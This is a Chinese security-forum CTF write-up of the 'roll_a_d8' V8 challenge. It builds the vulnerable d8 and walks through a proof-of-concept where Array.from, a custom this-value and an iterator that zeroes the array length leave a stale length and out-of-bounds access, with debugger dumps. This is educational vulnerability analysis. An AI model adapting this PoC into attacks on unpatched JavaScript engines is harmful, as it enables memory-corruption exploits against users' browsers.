首页
社区
课程
招聘
1
[原创]roll_a_d8新人向Writeup
发表于: 2021-8-5 14:21 18025

[原创]roll_a_d8新人向Writeup

2021-8-5 14:21
18025

前言

因为最近想尝试一些不同的东西,所以就找了几道V8CTF题目来做,权当涨涨见识,自然这篇文章也就算不上是一篇入门文章或者是浏览器漏洞分析(因为我自己也不会),最多算是踩坑记录,如果有错误的话欢迎师傅们指出。

  • 首先,V8的资料其实还挺多的,既有技术大佬写的知识总结,也有类似我这种新手的一些学习笔记,如果要从中筛选出各阶段最适合自己的材料还是要花不少时间的,出于不可抗力因素,这篇文章已经无了。
  • 其次,V8的编译环境可以参考V8环境搭建,100%成功版,我照着这个教程一次性就搭出来了,其他一些工具(pwndbg等)之前就安装好了,所以环境搭建上其实还是挺简单的。
  • 另外我本来就不擅长写文章,再加上这本来就是我没接触过的方向,所以如果你照着文章复现失败的话,十有八九是我的表述有问题,可以看看其他师傅的writeup,多半也就懂了,我会在文末放上我参考过的文章。

题目构建

在题目所给的链接中可以找到修复bug的commit,接着我们就得到了漏洞版本的hash值和diff文件,以及一个poc文件。

 

image-20210719183042061

 

首先根据hash值回退到漏洞版本

1
2
3
4
5
6
7
# git reset --hard [commit hash with vulnerability]
# 使用这条命令来切换到漏洞版本的commit
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
# 这里选择只编译v8来加快速度
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

漫长的等待之后我们用编译好的d8运行poc.js,成功触发crash

 

image-20210719183055435

poc分析

开始分析poc之前,很有必要了解一下数组的对象结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
             JSArray
 0x0+-----------------------+
    |kMapOffset             |
 0x8+-----------------------+
    |kPropertiesOffset      |
0x10+-----------------------+                     JSFixedArray
    |kElementsOffset        +----------->0x0+-----------------------+
0x18+-----------------------+               |kMapOffset             |
    |kLengthOffset          |            0x8+-----------------------+
0x20+-----------------------+               |kLengthOffset          |
                                        0x10+-----------------------+
                                            |element 0              |
                                        0x18+-----------------------+
                                            |element 1              |
                                        0x20+-----------------------+
                                            |element 2              |
                                        0x28+-----------------------+
                                            |...                    |
                                            +-----------------------+

更详细的表述请参考文末的链接,接着来看poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
let oobArray = [];
let maxSize = 1028 * 8;
 
// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
    // 自己实现的迭代器
    counter : 0,
    next() {
        let result = this.counter++;
        if (this.counter > maxSize) {
            // 迭代结束之后将length置零
            oobArray.length = 0;
            return {done: true};
        } else {
            return {value: result, done: false};
        }
    }
}
) });
// 之后触发崩溃
oobArray[oobArray.length - 1] = 0x41414141;

首先我们创建了oobArray数组,接着以function() { return oobArray }作为Array.from方法运行时使用的this值,和一个带有迭代器的对象作为参数进行执行。这里我参考了一下polyfillArray.from实现来理解为什么要这样设置参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 省略了一大堆其他的代码,完整版 https://github.com/inexorabletash/polyfill/blob/master/es6.js
// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
 
define(
Array, 'from',
function from(items) {
 
    var c = strict(this);         // this 就是 function() { return oobArray }
 
    // 判断是否可以迭代
    var usingIterator = GetMethod(items, $$iterator);
    if (usingIterator !== undefined) {
        if (IsConstructor(c)) {    // IsConstructor函数检查对象是否为构造函数,此处返回true
            /*
            当代码 new Foo(...) 执行时,会发生以下事情:
            1. 一个继承自 Foo.prototype 的新对象被创建。
            2. 使用指定的参数调用构造函数 Foo,并将 this 绑定到新创建的对象。new Foo 等同于 new Foo(),也就是没有指定参数列表,Foo 不带任何参数调用的情况。
            3. 由构造函数返回的对象就是 new 表达式的结果。如果构造函数没有显式返回一个对象,则使用步骤1创建的对象。(一般情况下,构造函数不返回值,但是用户可以选择主动返回对象,来覆盖正常的对象创建步骤)
            */
            var a = new c();      // 结合上面这么一大堆字,可以得出 a = oobArray
        } else {
            a = new Array(0);
        }
    var iterator = GetIterator(items, usingIterator);
 
    var k = 0;
    while (true) {
        var next = IteratorStep(iterator);
        if (next === false) {
            a.length = k;       // oobArray.length = k
            return a;           // return oobArray
        }
        a[k] = mappedValue;       // oobArray[k] = mappedValue
        k += 1;
    }
}});

注释应该挺清楚了,function() { return oobArray }做参数可以使得oobArray数组本身被修改。可以看看下面这个Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:56:15]
$ cat test.js
var oobArray = [];
%DebugPrint(oobArray);
Array.from.call(function() { return oobArray }, [1,2,3]);
%DebugPrint(oobArray);
 
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:57:46]
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
 
DebugPrint: 0x1fca3d08d4f9: [JSArray]
 - map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1b4d6e385539 0]>
 - elements: 0xa3822902251 0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0xa3822902251 0]> {
    #length: 0xa382294ff89 (const accessor descriptor)
 }
 
DebugPrint: 0x1fca3d08d4f9: [JSArray]
 - map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1b4d6e385539 0]>
 - elements: 0x1fca3d08d761 17]> [PACKED_SMI_ELEMENTS]
 - length: 3
 - properties: 0xa3822902251 0]> {
    #length: 0xa382294ff89 (const accessor descriptor)
 }
 - elements: 0x1fca3d08d761 17]> {
           0: 1
           1: 2
           2: 3
        3-16: 0xa3822902321
 }

再看看第二个参数,是一个带有迭代器的对象。其中,在迭代结束的时候将oobArray.Length设置为0。分别比较一下置零和未置零的oobArray的状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 迭代结束没有将oobArray.length置零
pwndbg> job 0x266f6b90da39
0x266f6b90da39: [JSArray]
 - map: 0x2472db302571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x34d88a085539 0]>
 - elements: 0x1fb3c180ef81 10018]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0xa0a6f682251 0]> {
    #length: 0xa0a6f6cff89 (const accessor descriptor)
 }
 - elements: 0x1fb3c180ef81 10018]> {
     省略参数
           : 0xa0a6f682321
 }
 
 # 迭代结束将oobArray.length置零
pwndbg> job 0x213fb0f0da39
0x213fb0f0da39: [JSArray]
 - map: 0x27d1d0202571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x8fc75385539 0]>
 - elements: 0x10d45dc02251 0]> [PACKED_SMI_ELEMENTS]
 - length: 8224
 - properties: 0x10d45dc02251 0]> {
    #length: 0x10d45dc4ff89 (const accessor descriptor)
 }

JSArrayelements结构指向一个足够大的数组,但是在将oobArray.length置零后,JSArrayelements结构指向了FixedArray[0]这个空数组。此时JSArraylength结构依然是8224,自然造成了越界读写。我们对比一下常规的length置零:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:33:12]
$ cat test.js
var oobArray = [1,2,3];
%DebugPrint(oobArray);
oobArray.length = 0;
%DebugPrint(oobArray);
 
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:34:02]
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x112f1d58d4d1: [JSArray]
 - map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x195f2ce05539 0]>
 - elements: 0x112f1d58d479 3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x1262e4482251 0]> {
    #length: 0x1262e44cff89 (const accessor descriptor)
 }
 - elements: 0x112f1d58d479 3]> {
           0: 1
           1: 2
           2: 3
 }
 
DebugPrint: 0x112f1d58d4d1: [JSArray]
 - map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x195f2ce05539 0]>
 - elements: 0x1262e4482251 0]> [PACKED_SMI_ELEMENTS]
 - length: 0
 - properties: 0x1262e4482251 0]> {
    #length: 0x1262e44cff89 (const accessor descriptor)
 }

正常情况下,FixedArray会在length被置零之后释放掉;在poc中,FixedArray已经被释放,但是length却依然保持着置零之前的值。根据polyfillarray.from的实现,漏洞成因大概是array.from内部只考虑了a = new Array(0);这种情况,而没有想到将this设置为function() { return oobArray }可以返回原数组对象。所以在迭代结束的时候,并没有检查数组的空间是否已经被释放,依然对数组的length进行了赋值。当然,具体实现我们要去源码看一下。


[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!

收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2022-7-28 00:20
最新回复 (2)
雪    币: 7
活跃值: (4336)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
2
很早之前的一篇笔记,大概梳理了一遍发出来了。如果文中还有错误,欢迎师傅们指出!
2021-8-5 14:22
0
雪    币: 3072
活跃值: (20)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
3
不错的笔记
2021-8-5 16:36
1
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册